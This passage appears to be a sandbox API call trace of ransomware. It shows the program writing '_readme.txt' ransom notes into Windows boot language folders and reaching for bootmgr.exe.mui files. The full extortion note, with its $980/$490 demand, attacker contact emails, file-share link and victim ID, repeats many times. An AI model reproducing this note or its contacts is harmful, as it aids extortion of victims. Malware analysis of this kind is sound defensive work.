files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.336] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.336] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.336] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0117.336] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.336] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.337] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.337] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.337] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0117.337] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.337] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.337] PathFindFileNameW (pszPath="") returned="" [0117.337] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.337] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.337] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.337] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.337] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0117.337] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0117.338] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.338] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.338] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.338] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.338] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0117.338] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.338] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.338] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.338] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.338] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0117.338] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.338] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.338] PathFindFileNameW (pszPath="") returned="" [0117.339] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.339] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.339] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.339] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.339] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0117.339] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0117.339] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.339] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.339] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.340] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.340] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0117.340] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.340] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.340] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.340] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.340] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0117.340] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.340] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.340] PathFindFileNameW (pszPath="") returned="" [0117.340] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.341] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.341] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.341] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.341] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0117.341] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0117.341] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.341] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.341] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, 